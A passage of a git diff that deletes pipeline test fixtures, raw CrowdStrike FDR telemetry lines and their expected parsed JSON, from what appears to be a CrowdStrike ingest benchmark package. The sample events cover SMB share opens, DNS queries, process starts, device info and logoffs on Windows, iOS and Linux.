-                "original": "{\"event_simpleName\":\"SmbServerShareOpenedEtw\",\"UserName\":\"person@dom1.com\",\"RemoteAddressIP6\":\"0:0:0:0:0:0:0:1\",\"ConfigStateHash\":\"1063377105\",\"DomainName\":\"AzureAD\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.3.0019011.15\",\"event_platform\":\"Win\",\"Entitlements\":\"15\",\"name\":\"SmbServerShareOpenedEtwV1\",\"EventOrigin\":\"17\",\"id\":\"5df90d92-3d9f-44e5-a095-428decb3d3f3\",\"SmbShareName\":\"C$\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"1152404d33614d3bbfe87a5fe7bac47b\",\"timestamp\":\"1738009593697\",\"cid\":\"ffffffff30a3407dae27d0503611022d\"}",
-                "outcome": "success",
-                "type": [
-                    "connection",
-                    "start"
-                ]
-            },
-            "host": {
-                "id": "1152404d33614d3bbfe87a5fe7bac47b",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "SmbServerShareOpenedEtw",
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "1152404d33614d3bbfe87a5fe7bac47b",
-                "version": "1007.3.0019011.15"
-            },
-            "related": {
-                "hash": [
-                    "1063377105"
-                ],
-                "ip": [
-                    "67.43.156.14",
-                    "0:0:0:0:0:0:0:1"
-                ],
-                "user": [
-                    "person@dom1.com"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "name": "person@dom1.com"
-            }
-        },
-        {
-            "@timestamp": "2025-01-27T20:22:44.034Z",
-            "crowdstrike": {
-                "ConfigStateHash": "138674525",
-                "ContextBaseFileName": "SenseImdsCollector.exe",
-                "ContextProcessId": "683613242245",
-                "ContextTimeStamp": "2025-01-27T20:22:57.497Z",
-                "DnsRequestCount": 1,
-                "DualRequest": "1",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "15",
-                "EventOrigin": "1",
-                "InterfaceIndex": 0,
-                "QueryStatus": "9003",
-                "cid": "ffffffff30a3407dae27d0503611022d",
-                "id": "3d0ef474-fcc3-4f18-9ad6-7130d8ddb407",
-                "name": "DnsRequestV5"
-            },
-            "device": {
-                "id": "31e92a267c044d57b1c1e14109079e89"
-            },
-            "dns": {
-                "question": {
-                    "name": "metadata.google.internal",
-                    "type": "AAAA"
-                },
-                "type": "query"
-            },
-            "event": {
-                "action": "DnsRequest",
-                "category": [
-                    "network"
-                ],
-                "created": "2025-01-27T20:22:44.034Z",
-                "id": "3d0ef474-fcc3-4f18-9ad6-7130d8ddb407|31e92a267c044d57b1c1e14109079e89|ffffffff30a3407dae27d0503611022d",
-                "kind": "event",
-                "original": "{\"ContextBaseFileName\":\"SenseImdsCollector.exe\",\"event_simpleName\":\"DnsRequest\",\"ContextTimeStamp\":\"1738009377.497\",\"ConfigStateHash\":\"138674525\",\"ContextProcessId\":\"683613242245\",\"DomainName\":\"metadata.google.internal\",\"ContextThreadId\":\"31712204862362\",\"aip\":\"67.43.156.14\",\"QueryStatus\":\"9003\",\"InterfaceIndex\":\"0\",\"ConfigBuild\":\"1007.3.0019011.15\",\"event_platform\":\"Win\",\"DnsRequestCount\":\"1\",\"DualRequest\":\"1\",\"Entitlements\":\"15\",\"name\":\"DnsRequestV5\",\"EventOrigin\":\"1\",\"id\":\"3d0ef474-fcc3-4f18-9ad6-7130d8ddb407\",\"EffectiveTransmissionClass\":\"3\",\"aid\":\"31e92a267c044d57b1c1e14109079e89\",\"timestamp\":\"1738009364034\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"RequestType\":\"28\"}",
-                "outcome": "success",
-                "type": [
-                    "protocol"
-                ]
-            },
-            "host": {
-                "id": "31e92a267c044d57b1c1e14109079e89",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "DnsRequest",
-            "network": {
-                "protocol": "dns"
-            },
-            "observer": {
-                "address": [
-                    "67.43.156.14"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.14"
-                ],
-                "serial_number": "31e92a267c044d57b1c1e14109079e89",
-                "version": "1007.3.0019011.15"
-            },
-            "process": {
-                "entity_id": "683613242245",
-                "name": "SenseImdsCollector.exe",
-                "thread": {
-                    "id": 31712204862362
-                }
-            },
-            "related": {
-                "hash": [
-                    "138674525"
-                ],
-                "ip": [
-                    "67.43.156.14"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2022-08-16T08:01:09.410Z",
-            "crowdstrike": {
-                "AuthenticationId": "29530993",
-                "ConfigStateHash": "518095218",
-                "EffectiveTransmissionClass": "3",
-                "Entitlements": "15",
-                "ImageSubsystem": "2",
-                "IntegrityLevel": "8192",
-                "MD5HashData": "e570911fc2ab74ecf0dc59f324318f6e",
-                "ParentAuthenticationId": "29530993",
-                "ProcessCreateFlags": "1024",
-                "ProcessParameterFlags": "24577",
-                "ProcessSxsFlags": "64",
-                "SHA256HashData": "f470180a4f67ebd944570b3eaf040caa8c0713252c6228e60c413714375ccfe2",
-                "SessionId": "1",
-                "SourceProcessId": "434985540832797032",
-                "SourceThreadId": "434985668331321297",
-                "Tags": [
-                    "25",
-                    "27",
-                    "862",
-                    "874",
-                    "924",
-                    "12094627905582",
-                    "12094627906234"
-                ],
-                "TokenType": "2",
-                "cid": "1301ac65ae144fbb9689a8472f828c2e",
-                "id": "9686a6b3-1d39-11ed-9370-0660bfa16adf",
-                "name": "ProcessRollup2V19"
-            },
-            "device": {
-                "id": "50deaa55144543089a1f463b568cdc53"
-            },
-            "event": {
-                "action": "ProcessRollup2",
-                "category": [
-                    "process"
-                ],
-                "created": "2022-08-16T08:01:09.410Z",
-                "id": "9686a6b3-1d39-11ed-9370-0660bfa16adf|50deaa55144543089a1f463b568cdc53|1301ac65ae144fbb9689a8472f828c2e",
-                "kind": "event",
-                "original": "{\"ProcessCreateFlags\":\"1024\",\"IntegrityLevel\":\"8192\",\"ParentProcessId\":\"434985540832797032\",\"SourceProcessId\":\"434985540832797032\",\"aip\":\"89.160.20.120\",\"SHA1HashData\":\"0000000000000000000000000000000000000000\",\"UserSid\":\"S-1-5-21-4084637156-299436391-3671333128-115430\",\"event_platform\":\"Win\",\"TokenType\":\"2\",\"ProcessEndTime\":\"\",\"ParentBaseFileName\":\"EmUser.exe\",\"ImageSubsystem\":\"2\",\"id\":\"9686a6b3-1d39-11ed-9370-0660bfa16adf\",\"EffectiveTransmissionClass\":\"3\",\"SessionId\":\"1\",\"Tags\":\"25, 27, 862, 874, 924, 12094627905582, 12094627906234\",\"timestamp\":\"1660636869410\",\"event_simpleName\":\"ProcessRollup2\",\"RawProcessId\":\"18446744072636268557\",\"ConfigStateHash\":\"518095218\",\"MD5HashData\":\"e570911fc2ab74ecf0dc59f324318f6e\",\"SHA256HashData\":\"f470180a4f67ebd944570b3eaf040caa8c0713252c6228e60c413714375ccfe2\",\"ProcessSxsFlags\":\"64\",\"AuthenticationId\":\"29530993\",\"ConfigBuild\":\"1007.3.0015103.1\",\"CommandLine\":\"\\\"C:\\\\Program Files\\\\nirsoft\\\\SoundVolumeView.exe\\\" /SetDefault \\\"Teradici Virtual Audio Driver\\\\device\\\\speakers\\\\\\\" all\",\"ParentAuthenticationId\":\"29530993\",\"TargetProcessId\":\"434985669758362104\",\"ImageFileName\":\"\\\\Device\\\\HarddiskVolume3\\\\Program Files\\\\NirSoft\\\\SoundVolumeView.exe\",\"SourceThreadId\":\"434985668331321297\",\"Entitlements\":\"15\",\"name\":\"ProcessRollup2V19\",\"ProcessStartTime\":\"1660636868.576\",\"ProcessParameterFlags\":\"24577\",\"aid\":\"50deaa55144543089a1f463b568cdc53\",\"cid\":\"1301ac65ae144fbb9689a8472f828c2e\"}",
-                "outcome": "success",
-                "type": [
-                    "start"
-                ]
-            },
-            "host": {
-                "id": "50deaa55144543089a1f463b568cdc53",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "ProcessRollup2",
-            "observer": {
-                "address": [
-                    "89.160.20.120"
-                ],
-                "geo": {
-                    "city_name": "Linköping",
-                    "continent_name": "Europe",
-                    "country_iso_code": "SE",
-                    "country_name": "Sweden",
-                    "location": {
-                        "lat": 58.4167,
-                        "lon": 15.6167
-                    },
-                    "region_iso_code": "SE-E",
-                    "region_name": "Östergötland County"
-                },
-                "ip": [
-                    "89.160.20.120"
-                ],
-                "serial_number": "50deaa55144543089a1f463b568cdc53",
-                "version": "1007.3.0015103.1"
-            },
-            "process": {
-                "Ext": {
-                    "token": {
-                        "integrity_level_name": "MEDIUM"
-                    }
-                },
-                "args": [
-                    "C:\\Program Files\\nirsoft\\SoundVolumeView.exe",
-                    "/SetDefault",
-                    "Teradici Virtual Audio Driver\\device\\speakers\" all"
-                ],
-                "args_count": 3,
-                "command_line": "\"C:\\Program Files\\nirsoft\\SoundVolumeView.exe\" /SetDefault \"Teradici Virtual Audio Driver\\device\\speakers\\\" all",
-                "entity_id": "434985669758362104",
-                "executable": "\\Device\\HarddiskVolume3\\Program Files\\NirSoft\\SoundVolumeView.exe",
-                "hash": {
-                    "md5": "e570911fc2ab74ecf0dc59f324318f6e",
-                    "sha256": "f470180a4f67ebd944570b3eaf040caa8c0713252c6228e60c413714375ccfe2"
-                },
-                "name": "SoundVolumeView.exe",
-                "parent": {
-                    "entity_id": "434985540832797032",
-                    "name": "EmUser.exe"
-                },
-                "pid": -1073283059,
-                "start": "2022-08-16T08:01:08.576Z"
-            },
-            "related": {
-                "hash": [
-                    "e570911fc2ab74ecf0dc59f324318f6e",
-                    "f470180a4f67ebd944570b3eaf040caa8c0713252c6228e60c413714375ccfe2",
-                    "518095218"
-                ],
-                "ip": [
-                    "89.160.20.120"
-                ],
-                "user": [
-                    "S-1-5-21-4084637156-299436391-3671333128-115430"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "id": "S-1-5-21-4084637156-299436391-3671333128-115430"
-            }
-        },
-        {
-            "@timestamp": "2025-03-27T17:02:25.000Z",
-            "crowdstrike": {
-                "AgentTimeOffset": 6.3878693E10,
-                "ConfigBuild": "1007.32.20250201.9",
-                "ConfigIDBuild": "20250201",
-                "FirstSeen": "2025-03-20T05:18:57.000Z",
-                "HostHiddenStatus": "visible",
-                "SystemManufacturer": "Apple",
-                "cid": "55555555555555555555555555555555"
-            },
-            "device": {
-                "id": "44444444444444444444444444444444"
-            },
-            "event": {
-                "created": "2025-03-27T17:02:25.000Z",
-                "id": "|44444444444444444444444444444444|55555555555555555555555555555555",
-                "original": "{\"AgentLoadFlags\":\"none\",\"AgentLocalTime\":\"none\",\"AgentTimeOffset\":\"63878691745\",\"AgentVersion\":\"2025.02.1\",\"BiosManufacturer\":\"none\",\"BiosVersion\":\"none\",\"ChassisType\":\"none\",\"City\":\"Bengaluru\",\"ComputerName\":\"none\",\"ConfigBuild\":\"1007.32.20250201.9\",\"ConfigIDBuild\":\"20250201\",\"Continent\":\"Asia\",\"Country\":\"India\",\"FalconGroupingTags\":\"none\",\"FirstSeen\":\"1742447937.000\",\"HostHiddenStatus\":\"visible\",\"MachineDomain\":\"none\",\"OU\":\"none\",\"PointerSize\":\"none\",\"ProductType\":\"none\",\"SensorGroupingTags\":\"none\",\"ServicePackMajor\":\"none\",\"SiteName\":\"none\",\"SystemManufacturer\":\"Apple\",\"SystemProductName\":\"none\",\"Time\":\"1743094945.000\",\"Timezone\":\"Asia/Kolkata\",\"Version\":\"iOS 18.3.2\",\"aid\":\"44444444444444444444444444444444\",\"aip\":\"0.0.0.0\",\"cid\":\"55555555555555555555555555555555\",\"event_platform\":\"iOS\"}"
-            },
-            "host": {
-                "geo": {
-                    "city_name": "Bengaluru",
-                    "continent_name": "Asia",
-                    "country_name": "India",
-                    "timezone": "Asia/Kolkata"
-                },
-                "id": "44444444444444444444444444444444",
-                "os": {
-                    "type": "ios",
-                    "version": "iOS 18.3.2"
-                }
-            },
-            "observer": {
-                "address": [
-                    "0.0.0.0"
-                ],
-                "ip": [
-                    "0.0.0.0"
-                ],
-                "serial_number": "44444444444444444444444444444444",
-                "version": "2025.02.1"
-            },
-            "related": {
-                "ip": [
-                    "0.0.0.0"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2020-11-08T17:05:34.000Z",
-            "crowdstrike": {
-                "AuthenticationId": "317005428",
-                "AuthenticationPackage": "Negotiate",
-                "ConfigStateHash": "3950066843",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "15",
-                "LogoffTime": "2020-11-08T17:05:32.756Z",
-                "LogonServer": "srv2",
-                "LogonTime": "2020-11-08T17:05:31.666Z",
-                "LogonType": "7",
-                "PasswordLastSet": "1598119332.510",
-                "RemoteAccount": "1",
-                "UserFlags": "32",
-                "UserLogoffType": "3",
-                "UserLogonFlags": "0",
-                "cid": "ffffffff30a3407dae27d0503611022d",
-                "id": "ffffffff-1111-11eb-8913-0287fd11c79b",
-                "name": "UserLogoffV3"
-            },
-            "device": {
-                "id": "ffffffffe0104823bd3de859d5bc8bc7"
-            },
-            "event": {
-                "action": "UserLogoff",
-                "category": [
-                    "authentication"
-                ],
-                "created": "2020-11-08T17:05:34.000Z",
-                "id": "ffffffff-1111-11eb-8913-0287fd11c79b|ffffffffe0104823bd3de859d5bc8bc7|ffffffff30a3407dae27d0503611022d",
-                "kind": "event",
-                "original": "{\"AuthenticationId\":\"317005428\",\"AuthenticationPackage\":\"Negotiate\",\"ConfigBuild\":\"1007.3.0011603.1\",\"ConfigStateHash\":\"3950066843\",\"EffectiveTransmissionClass\":\"2\",\"Entitlements\":\"15\",\"LogoffTime\":\"1604855132.756\",\"LogonDomain\":\"dom1\",\"LogonServer\":\"srv2\",\"LogonTime\":\"1604855131.666\",\"LogonType\":\"7\",\"PasswordLastSet\":\"1598119332.510\",\"RemoteAccount\":\"1\",\"UserFlags\":\"32\",\"UserIsAdmin\":\"0\",\"UserLogoffType\":\"3\",\"UserLogonFlags\":\"0\",\"UserName\":\"user4\",\"UserPrincipal\":\"user.name@dom2.com\",\"UserSid\":\"S-1-5-21-606747145-1364589140-725345543-28636\",\"aid\":\"ffffffffe0104823bd3de859d5bc8bc7\",\"aip\":\"67.43.156.13\",\"cid\":\"ffffffff30a3407dae27d0503611022d\",\"event_platform\":\"Win\",\"event_simpleName\":\"UserLogoff\",\"id\":\"ffffffff-1111-11eb-8913-0287fd11c79b\",\"name\":\"UserLogoffV3\",\"UTCTimestamp\":\"1604855134\"}",
-                "outcome": "success",
-                "type": [
-                    "end"
-                ]
-            },
-            "host": {
-                "domain": "dom1",
-                "id": "ffffffffe0104823bd3de859d5bc8bc7",
-                "os": {
-                    "type": "windows"
-                }
-            },
-            "message": "UserLogoff",
-            "observer": {
-                "address": [
-                    "67.43.156.13"
-                ],
-                "geo": {
-                    "continent_name": "Asia",
-                    "country_iso_code": "BT",
-                    "country_name": "Bhutan",
-                    "location": {
-                        "lat": 27.5,
-                        "lon": 90.5
-                    }
-                },
-                "ip": [
-                    "67.43.156.13"
-                ],
-                "serial_number": "ffffffffe0104823bd3de859d5bc8bc7",
-                "version": "1007.3.0011603.1"
-            },
-            "related": {
-                "hash": [
-                    "3950066843"
-                ],
-                "hosts": [
-                    "srv2"
-                ],
-                "ip": [
-                    "67.43.156.13"
-                ],
-                "user": [
-                    "user4",
-                    "user.name",
-                    "user.name@dom2.com",
-                    "S-1-5-21-606747145-1364589140-725345543-28636"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ],
-            "user": {
-                "domain": "dom2.com",
-                "email": "user.name@dom2.com",
-                "full_name": "user.name",
-                "id": "S-1-5-21-606747145-1364589140-725345543-28636",
-                "name": "user4"
-            }
-        }
-    ]
-}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdrv2-notmanaged.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdrv2-notmanaged.log
deleted file mode 100644
index 6f96985067..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdrv2-notmanaged.log
+++ /dev/null
@@ -1 +0,0 @@
-{"ComputerName":"xxxxxxxxxxxxxxxx","CurrentLocalIP":"192.168.1.35","FirstDiscoveredDate":"1680533704.111","LastDiscoveredBy":"1fffffffffffffffffffffffffffffff","LocalAddressIP4":"192.168.1.129 192.168.1.35","MAC":"BB-AA-AA-AA-CC-CC","MACPrefix":"BB-AA-AA","NeighborName":"!!!!UNKNOWN!!!!","__mv_LocalAddressIP4":"$192.168.1.129$;$192.168.1.35$","__mv_aip":"$192.168.255.7$;$192.168.240.243$","__mv_discoverer_aid":"","_time":"1680769502.395","aip":"192.168.255.7 192.168.240.243","aipCount":"2","cid":"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa","discovererCount":"1","discoverer_aid":"bbbbbbbbbbbbbbcbbbbbbbbbbbbbbbbb","localipCount":"2","subnet":"192.168"}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdrv2-notmanaged.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdrv2-notmanaged.log-expected.json
deleted file mode 100644
index 276e6c7b12..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-fdrv2-notmanaged.log-expected.json
+++ /dev/null
@@ -1,64 +0,0 @@
-{
-    "expected": [
-        {
-            "@timestamp": "2023-04-06T08:25:02.395Z",
-            "crowdstrike": {
-                "CurrentLocalIP": "192.168.1.35",
-                "FirstDiscoveredDate": "2023-04-03T14:55:04.111Z",
-                "LastDiscoveredBy": "1fffffffffffffffffffffffffffffff",
-                "LocalAddressIP4": [
-                    "192.168.1.129",
-                    "192.168.1.35"
-                ],
-                "MACPrefix": "BB-AA-AA",
-                "NeighborName": "!!!!UNKNOWN!!!!",
-                "__mv_LocalAddressIP4": "$192.168.1.129$;$192.168.1.35$",
-                "__mv_aip": "$192.168.255.7$;$192.168.240.243$",
-                "aipCount": 2,
-                "cid": "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
-                "discovererCount": 1,
-                "discoverer_aid": "bbbbbbbbbbbbbbcbbbbbbbbbbbbbbbbb",
-                "localipCount": 2,
-                "subnet": "192.168"
-            },
-            "event": {
-                "created": "2023-04-06T08:25:02.395Z",
-                "id": "||aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa",
-                "original": "{\"ComputerName\":\"xxxxxxxxxxxxxxxx\",\"CurrentLocalIP\":\"192.168.1.35\",\"FirstDiscoveredDate\":\"1680533704.111\",\"LastDiscoveredBy\":\"1fffffffffffffffffffffffffffffff\",\"LocalAddressIP4\":\"192.168.1.129 192.168.1.35\",\"MAC\":\"BB-AA-AA-AA-CC-CC\",\"MACPrefix\":\"BB-AA-AA\",\"NeighborName\":\"!!!!UNKNOWN!!!!\",\"__mv_LocalAddressIP4\":\"$192.168.1.129$;$192.168.1.35$\",\"__mv_aip\":\"$192.168.255.7$;$192.168.240.243$\",\"__mv_discoverer_aid\":\"\",\"_time\":\"1680769502.395\",\"aip\":\"192.168.255.7 192.168.240.243\",\"aipCount\":\"2\",\"cid\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",\"discovererCount\":\"1\",\"discoverer_aid\":\"bbbbbbbbbbbbbbcbbbbbbbbbbbbbbbbb\",\"localipCount\":\"2\",\"subnet\":\"192.168\"}"
-            },
-            "host": {
-                "hostname": "xxxxxxxxxxxxxxxx",
-                "name": "xxxxxxxxxxxxxxxx"
-            },
-            "observer": {
-                "address": [
-                    "192.168.255.7",
-                    "192.168.240.243"
-                ],
-                "ip": [
-                    "192.168.255.7",
-                    "192.168.240.243"
-                ]
-            },
-            "related": {
-                "hosts": [
-                    "xxxxxxxxxxxxxxxx"
-                ],
-                "ip": [
-                    "192.168.255.7",
-                    "192.168.240.243",
-                    "192.168.1.129",
-                    "192.168.1.35"
-                ]
-            },
-            "source": {
-                "address": "192.168.1.35",
-                "ip": "192.168.1.35",
-                "mac": "BB-AA-AA-AA-CC-CC"
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        }
-    ]
-}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-linux.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-linux.log
deleted file mode 100644
index 6ab6c2e541..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-linux.log
+++ /dev/null
@@ -1,5 +0,0 @@
-{"event_simpleName":"CriticalEnvironmentVariableChanged","EnvironmentVariableName":"b644d55ace4f0d","ContextTimeStamp":"1757442428.423","ConfigStateHash":"8308391500","ContextProcessId":"520000000560900","ContextThreadId":"0","aip":"81.2.69.142","ConfigBuild":"2c8b.2.3366c72.4f","event_platform":"Lin","EnvironmentVariableValue":"a8afe97c911df877fcbc6f0f3e1f509d3a","Entitlements":"76","name":"12b047f65d9ece84f659a6b3826d14342284b30","EventOrigin":"45","id":"8cb2694b8b910f8a123d27da50bb85401acf","EffectiveTransmissionClass":"2","aid":"63c6b6246300091fe99c69eb0e5f2cf6","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"CriticalFileAccessed","ContextTimeStamp":"1757157936.727","GID":"0","ConfigStateHash":"1061106086","ContextProcessId":"1096090950008222800","ContextThreadId":"0","aip":"89.160.20.128","ConfigBuild":"2c8b.2.3366c72.4f","UID":"0","event_platform":"Lin","UnixMode":"61960","Entitlements":"26","name":"1532ae7e2a105adcc6ddbcf67","EventOrigin":"1","id":"01a3b1d4aa10d5329aef78ba9d3ec56f6d97","EffectiveTransmissionClass":"2","aid":"37b562b807a27cfb58dda71ec9a7eb22","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"/812/0bb09d"}
-{"CapPrm":"3800192030037","ParentProcessId":"8081349242194000050","SourceProcessId":"8081349242194000050","aip":"81.2.69.192","SessionProcessId":"4102020000109002000","SyntheticPR2Flags":"4","event_platform":"Lin","ProcessEndTime":"1745972888.297","SVUID":"0","EventOrigin":"45","id":"fb9bd5f0314e46ce785f479aed8f3032fcd9","EffectiveTransmissionClass":"2","timestamp":"1743508799999","ProcessGroupId":"7001610480104066706","event_simpleName":"SyntheticProcessRollup2","RawProcessId":"8905032","ContextTimeStamp":"1752350302.359","GID":"0","ConfigStateHash":"5001020160","SVGID":"0","ConfigBuild":"2c8b.2.3366c72.4f","UID":"0","CommandLine":"e7f8eac7d","TargetProcessId":"6059002040716020903","ImageFileName":"/501e","RGID":"0","SourceThreadId":"0","Entitlements":"56","name":"4f32166a22f49735247598b45006","ProcessStartTime":"1745953229.264","RUID":"0","aid":"8c687fb6b1e8231200c77ef5e3175d0e","cid":"4092825518eaf67377a6e4492ae44577"}
-{"event_simpleName":"TerminateProcess","RawProcessId":"1070050","ContextTimeStamp":"1751300030.984","ConfigStateHash":"8001020160","ContextProcessId":"9960000700989070560","ContextThreadId":"0","aip":"89.160.20.128","ConfigBuild":"2c8b.2.3366c72.4f","event_platform":"Lin","TargetProcessId":"6960000700989070560","Entitlements":"36","name":"6b1c662a760f5ed9750d4","EventOrigin":"1","id":"3e71b26395f4386bcb6602ee6777bb5f3124","EffectiveTransmissionClass":"2","aid":"12111f24f25a2a99438b40765c236577","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"}
-{"ChangeTime":"1731329600.968","OciContainerId":"sw345tf5e3455r7dw32w23t6t7fde34ed345rfe45rf0ew4fd","CapPrm":"123438954321","ParentProcessId":"12347782548906","SourceProcessId":"12347782548906","aip":"89.160.20.128","SessionProcessId":"1234915117961","SHA1HashData":"0000000000000000000000000000000000000000","event_platform":"Lin","ProcessEndTime":"1760406073.595","SVUID":"0","ParentBaseFileName":"runc","EventOrigin":"17","id":"1w23e4r-d03e-4003-bc75-71c6e819ca5f","EffectiveTransmissionClass":"2","Tags":"874, 17179870274, 12094627905582, 12094627906234, 212205744162400","timestamp":"1760406074201","ProcessGroupId":"1234915117961","LocalAddressIP4":"0.0.0.0","event_simpleName":"ProcessRollup2","RawProcessId":"1234","RootPath":"/","GID":"0","ConfigStateHash":"1026580567","UserName":"root","SVGID":"0","MD5HashData":"88922d50263b059696c2af5a99906562","SHA256HashData":"d4ff1c438e330777002332a305fcf965cfaa7d0dbeb899293d347298cbf6d4b6","ConfigBuild":"1007.4.0013701.1","UID":"0","CommandLine":"runc init","TargetProcessId":"12347783237538","ImageFileName":"/","RGID":"0","SourceThreadId":"0","Entitlements":"15","name":"ProcessRollup2LinV12","RUID":"0","ProcessStartTime":"1760406073.568","ComputerName":"comp2","aid":"ffffffff62714a708030d494ca0a7e60","cid":"ffffffff15754bcfb5f9152ec7ac90ac"}
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-linux.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-linux.log-expected.json
deleted file mode 100644
index f0114c8866..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-linux.log-expected.json
+++ /dev/null
@@ -1,556 +0,0 @@
-{
-    "expected": [
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConfigStateHash": "8308391500",
-                "ContextProcessId": "520000000560900",
-                "ContextTimeStamp": "2025-09-09T18:27:08.423Z",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "76",
-                "EnvironmentVariableName": "b644d55ace4f0d",
-                "EnvironmentVariableValue": "a8afe97c911df877fcbc6f0f3e1f509d3a",
-                "EventOrigin": "45",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "8cb2694b8b910f8a123d27da50bb85401acf",
-                "name": "12b047f65d9ece84f659a6b3826d14342284b30"
-            },
-            "device": {
-                "id": "63c6b6246300091fe99c69eb0e5f2cf6"
-            },
-            "event": {
-                "action": "CriticalEnvironmentVariableChanged",
-                "category": [
-                    "configuration",
-                    "host"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
-                "id": "8cb2694b8b910f8a123d27da50bb85401acf|63c6b6246300091fe99c69eb0e5f2cf6|4092825518eaf67377a6e4492ae44577",
-                "kind": "event",
-                "original": "{\"event_simpleName\":\"CriticalEnvironmentVariableChanged\",\"EnvironmentVariableName\":\"b644d55ace4f0d\",\"ContextTimeStamp\":\"1757442428.423\",\"ConfigStateHash\":\"8308391500\",\"ContextProcessId\":\"520000000560900\",\"ContextThreadId\":\"0\",\"aip\":\"81.2.69.142\",\"ConfigBuild\":\"2c8b.2.3366c72.4f\",\"event_platform\":\"Lin\",\"EnvironmentVariableValue\":\"a8afe97c911df877fcbc6f0f3e1f509d3a\",\"Entitlements\":\"76\",\"name\":\"12b047f65d9ece84f659a6b3826d14342284b30\",\"EventOrigin\":\"45\",\"id\":\"8cb2694b8b910f8a123d27da50bb85401acf\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"63c6b6246300091fe99c69eb0e5f2cf6\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}",
-                "outcome": "success",
-                "type": [
-                    "change"
-                ]
-            },
-            "host": {
-                "id": "63c6b6246300091fe99c69eb0e5f2cf6",
-                "os": {
-                    "type": "linux"
-                }
-            },
-            "message": "CriticalEnvironmentVariableChanged",
-            "observer": {
-                "address": [
-                    "81.2.69.142"
-                ],
-                "geo": {
-                    "city_name": "London",
-                    "continent_name": "Europe",
-                    "country_iso_code": "GB",
-                    "country_name": "United Kingdom",
-                    "location": {
-                        "lat": 51.5142,
-                        "lon": -0.0931
-                    },
-                    "region_iso_code": "GB-ENG",
-                    "region_name": "England"
-                },
-                "ip": [
-                    "81.2.69.142"
-                ],
-                "serial_number": "63c6b6246300091fe99c69eb0e5f2cf6",
-                "version": "2c8b.2.3366c72.4f"
-            },
-            "process": {
-                "entity_id": "520000000560900",
-                "thread": {
-                    "id": 0
-                }
-            },
-            "related": {
-                "hash": [
-                    "8308391500"
-                ],
-                "ip": [
-                    "81.2.69.142"
-                ]
-            },
-            "tags": [
-                "preserve_original_event"
-            ]
-        },
-        {
-            "@timestamp": "2025-04-01T11:59:59.999Z",
-            "crowdstrike": {
-                "ConfigStateHash": "1061106086",
-                "ContextProcessId": "1096090950008222800",
-                "ContextTimeStamp": "2025-09-06T11:25:36.727Z",
-                "EffectiveTransmissionClass": "2",
-                "Entitlements": "26",
-                "EventOrigin": "1",
-                "UnixMode": "61960",
-                "cid": "4092825518eaf67377a6e4492ae44577",
-                "id": "01a3b1d4aa10d5329aef78ba9d3ec56f6d97",
-                "name": "1532ae7e2a105adcc6ddbcf67"
-            },
-            "device": {
-                "id": "37b562b807a27cfb58dda71ec9a7eb22"
-            },
-            "event": {
-                "action": "CriticalFileAccessed",
-                "category": [
-                    "file"
-                ],
-                "created": "2025-04-01T11:59:59.999Z",
